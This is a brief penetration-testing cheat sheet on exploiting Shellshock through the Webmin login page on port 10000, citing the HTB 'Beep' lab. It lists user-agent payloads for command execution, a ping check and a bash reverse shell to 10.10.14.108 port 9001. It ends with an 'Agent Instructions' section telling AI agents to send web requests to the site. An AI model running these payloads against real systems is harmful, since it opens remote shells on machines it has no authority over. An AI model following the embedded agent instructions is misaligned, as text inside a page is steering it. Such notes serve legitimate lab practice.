# Port 10000 Webmin

Webmin uses CGI Files and is vulnerable to shellshock eg:- beep on HTB.

From Webmin login panel, initiate a login request and intercept it in burp. Forward it to the repeater.

Now change the user agent to shell shock and try following payloads.

```
() { :; };/bin/echo heloo
() { :; }; sleep 10   (did work some kind of blind shell shock)
```

Now check ping

```
() { :; };ping -c 1 10.10.14.108
on our machine
sudo tcpdump -i tun0 -v
```

And we get the ping. So lets try reverse shell.

```
sh -i >& /dev/tcp/10.10.14.108/9001 0>&1
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.cavementech.com/pentesting-quick-reference/port-10000-webmin.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
